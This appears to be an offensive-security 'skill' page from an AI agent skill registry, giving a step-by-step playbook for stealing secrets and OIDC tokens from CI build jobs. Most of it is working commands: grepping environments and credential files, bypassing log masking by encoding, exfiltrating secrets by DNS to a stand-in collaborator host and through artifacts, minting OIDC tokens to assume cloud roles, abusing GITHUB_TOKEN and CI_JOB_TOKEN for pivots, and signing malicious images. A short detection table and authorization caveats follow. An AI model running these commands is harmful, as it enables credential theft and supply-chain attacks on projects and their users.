Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.
67
81%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Pre-requisite: you already have code execution in a CI job (see poisoned-pipeline-execution/ or github-actions-injection/). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking.
# In the runner — every place a secret might live
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head
ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null
ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | headGitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with ***. The mask is substring-based, applied post-write, to UTF-8 chars only. Defeats trivially:
SECRET="$MY_SECRET"
# 1. Base64 — masker doesn't decode
echo "$SECRET" | base64 -w0
# 2. Hex
echo -n "$SECRET" | xxd -p
# 3. Char-by-char (one char per line)
echo "$SECRET" | fold -w1
# 4. Reverse
echo "$SECRET" | rev
# 5. Print length + first/last chars (use this for *proof*; don't print the whole secret)
echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}"
# 6. Split across two strings
echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}"
# 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds
curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/"
# 8. Out-of-band — write to artifact then download
echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64"
# then: actions/upload-artifact -> attacker downloadsFor authorized research: stop at step 5. Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.
env# GitHub Actions
# - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org)
# - secrets.* — explicitly referenced; only present if the step mapped them
# - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache)
# - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints
# - ACTIONS_CACHE_URL — cache service endpoint
# GitLab CI
# - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI/CD settings
# - CI_REGISTRY_USER / CI_REGISTRY_PASSWORD — container registry
# - CI_DEPENDENCY_PROXY_USER / _PASSWORD
# CircleCI
# - CIRCLE_OIDC_TOKEN, CIRCLE_TOKENIf the workflow declares permissions: id-token: write, the runner can mint a JWT trusted by AWS / GCP / Azure / Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it:
# Mint an OIDC token from inside the job
ID_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# Inspect claims (no secret — JWT is base64)
echo "$ID_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Claims include: sub (repo:OWNER/REPO:ref:refs/heads/...), iss, aud, repository, workflow
# AWS — assume role if trust policy matches the sub claim
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name research \
--web-identity-token "$ID_TOKEN" \
--duration-seconds 900 \
| jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+"...", Expiration:.Credentials.Expiration}'
# GCP — exchange for a Google access token via Workload Identity Federation
# (requires the WIF pool/provider to trust the GitHub OIDC issuer)Trust-policy enumeration without burning a session: the OIDC sub claim is deterministic — repo:OWNER/REPO:ref:refs/heads/BRANCH or :environment:NAME. If you can read the trust policy (cross-account roles are sometimes enumerable via iam:GetRole from a low-priv key), you can predict which (repo, ref) will pass.
GITHUB_TOKEN abuse# What can this token do? (no secret leaked — just header inspection)
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
# Common abuses given `contents: write` + `pull-requests: write`
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA # creates a release
gh pr merge <N> --merge # merges a PR
git push "https://x-access-token:$GITHUB_TOKEN@github.com/$GITHUB_REPOSITORY" HEAD:refs/heads/research
# packages: write -> push a container to ghcr.io tagged as a "release"
echo "$GITHUB_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdinGITHUB_TOKEN is short-lived (job duration) and not exfilable to durable infra — but within the job it can mutate the repo, releases, packages, deployments. That mutation is the persistence.
CI_JOB_TOKEN# Job-token API surface — package registry, container registry, releases, child pipelines
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages"
# If "CI/CD Job Token allowlist" is disabled (default historically), this token can access
# OTHER projects in the same group — cross-project pivot
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"$CI_API_V4_URL/projects/<OTHER_PROJECT_ID>/repository/files/Dockerfile/raw?ref=main"# Cache key collisions — a base-branch job that wrote a cache containing creds, restored by a PR job
# Look for caches that include $HOME/.docker, $HOME/.aws, $HOME/.npmrc, ~/.gradle
gh api "repos/$GITHUB_REPOSITORY/actions/caches" --jq '.actions_caches[] | {key,size_in_bytes,ref}'
# Inside the job — list restored cache contents
ls -la "$HOME/.cache" "$HOME/.gradle" "$HOME/.m2" "$HOME/.npm" 2>/dev/null
grep -RhE '^[A-Z_]+=.+(token|secret|key|password)' "$HOME"/.{npmrc,pypirc,gradle,m2,docker} 2>/dev/null | head
# Artifacts from a sibling job often contain build logs with masked-but-bypassable secrets
gh run download <RUN_ID> --repo $GITHUB_REPOSITORY -n build-logs
grep -RhE '(AKIA|ghp_|gho_|ghu_|ghs_|ghr_|xox[baprs]-|eyJ[A-Za-z0-9_-]{20,})' .Once you can mint an OIDC token + push to ghcr.io / npm / PyPI as the project, you can sign artifacts via cosign / sigstore with the project's identity. Downstream consumers that verify signatures will accept malicious releases:
# Sign a malicious image with the project's OIDC identity (Sigstore keyless)
COSIGN_EXPERIMENTAL=1 cosign sign --yes "ghcr.io/$GITHUB_REPOSITORY:malicious"This is exactly the chain SLSA L3 is meant to prevent and what the tj-actions/changed-files incident exercised end-to-end.
| Signal | Source |
|---|---|
| Outbound DNS with high-entropy subdomain from a runner | DNS firewall (Cisco Umbrella, NextDNS, internal) |
base64, xxd, rev, fold -w1, ${VAR:0:1} in a run: step | step-log scanner (rare in defender stacks; opportunity) |
OIDC assume-role-with-web-identity from a new (repo, ref) pair | CloudTrail AssumeRoleWithWebIdentity events |
GITHUB_TOKEN releasing/tagging/merging from a non-release workflow | branch-protection audit, GH audit log |
Artifact / cache containing dotfile dirs (.docker, .aws) | cache-policy lint |
| Tool | Use |
|---|---|
trufflehog | Post-hoc scan of repo / job logs for leaked credentials |
gitleaks | Pre-commit + log-scan equivalent |
gato-x secrets | Automates the print + masking-bypass loop |
cosign / sigstore | Signing pivot once OIDC + push rights are in hand |
aws-vault, gcloud auth | Local validation of exchanged credentials (against research accounts only) |
len + first4 + last4 is enough. Anything more requires explicit written authorization for credential extraction.--dry-run, gh release create ... --draft on a research repo).tj-actions/changed-files (CVE-2025-30066) — end-to-end OIDC + masking-bypass chain in the wilde34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.